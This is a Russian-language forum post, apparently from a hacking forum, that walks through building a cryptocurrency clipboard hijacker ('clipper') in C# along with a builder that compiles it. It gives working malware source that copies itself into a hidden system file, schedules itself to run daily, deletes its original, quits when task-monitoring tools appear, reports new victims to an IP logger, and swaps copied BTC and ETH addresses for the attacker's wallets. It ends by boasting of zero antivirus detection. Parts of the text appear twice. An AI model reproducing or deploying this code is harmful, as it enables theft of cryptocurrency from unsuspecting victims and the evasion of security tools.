wowpro
Unlimited
- Сообщения
- 14.438
- Лайки
- 9.504
Пишем биткойн клиппер на C#
Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.
В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.
Билд
Алгоритм работы клиппера:
1. Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер;
2. Запускаем в отдельном потоке мониторинг процессов;
3. Мониторим буффер обмена.
Переходим к Main. Задаем путь к файлу:
Запустим в новом потоке мониторинг процессов:
Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои:
С клиппером закончили. Сохраняем код в .txt файл. Переходим к билдеру.
Билдер
Алгоритм работы билдера:
1. Получаем указанные в полях кошельки;
2. Заменяем их в исходнике клиппера;
3. Компилируем исходник.
Создаем проект Windows Forms. По-быстрому набросаем форму.
Переходим к коду. Добавим пару юзингов:
В обработчике кнопки пишем:
Добавляем в ресурсы билдера сурс клиппера и компилируем билдер.
Детект билда после крипта равен нулю!
Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.
В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.
Билд
Алгоритм работы клиппера:
1. Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер;
2. Запускаем в отдельном потоке мониторинг процессов;
3. Мониторим буффер обмена.
Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:Код можно писать прямо в блокноте, т. к. позже мы добавим его в ресурсы билдера.
C#:
static void Monitor() {
while (true) {
try {
foreach(Process item in Process.GetProcesses())
if (item.ProcessName.ToLower() == "taskmgr" ||
item.ProcessName.ToLower() == "processhacker" ||
item.ProcessName.ToLower() == "procexp")
Environment.Exit(0);
Thread.Sleep(500);
} catch {}
}
}
C#:
string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";
Устанавливаем клиппер если он не установлен:[path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.
C#:
if (!File.Exists(path)) {
File.Copy(Assembly.GetEntryAssembly().Location, path);
// Самоудаление и добавление в планировщик заданий
ProcessStartInfo proc = new ProcessStartInfo();
proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
proc.WindowStyle = ProcessWindowStyle.Hidden;
proc.CreateNoWindow = true;
proc.FileName = "cmd.exe";
// Ставим аттрибуты Скрытый и Системный на файл
File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);
// Стучим в IPLogger
try {
HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
http.UserAgent = "New user!";
http.GetResponse();
} catch {}
Process.Start(proc);
Environment.Exit(0);
}
C#:
Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();
C#:
while (true) {
string idat_old = string.Empty;
string idat = string.Empty;
Thread.Sleep(500);
try {
if (Clipboard.ContainsText()) {
idat = Clipboard.GetText();
if (idat != idat_old) {
// Ищем в clipboard адреса и если находим заменяем
if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet1]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}
if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet2]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
} else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[ethwallet]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}
idat_old = idat;
}
}
} catch {}
}
Билдер
Алгоритм работы билдера:
1. Получаем указанные в полях кошельки;
2. Заменяем их в исходнике клиппера;
3. Компилируем исходник.
Создаем проект Windows Forms. По-быстрому набросаем форму.
Переходим к коду. Добавим пару юзингов:
C#:
using Microsoft.CSharp;
using System.CodeDom.Compiler;
C#:
CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";
Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");
string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);
var settings = new Dictionary < string,
string > ();
settings.Add("CompilerVersion", "v4.0");
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {
foreach(CompilerError err in Results.Errors)
MessageBox.Show(err.ToString()); //Вывод ошибок
}
MessageBox.Show("Done!", "Success");
Детект билда после крипта равен нулю!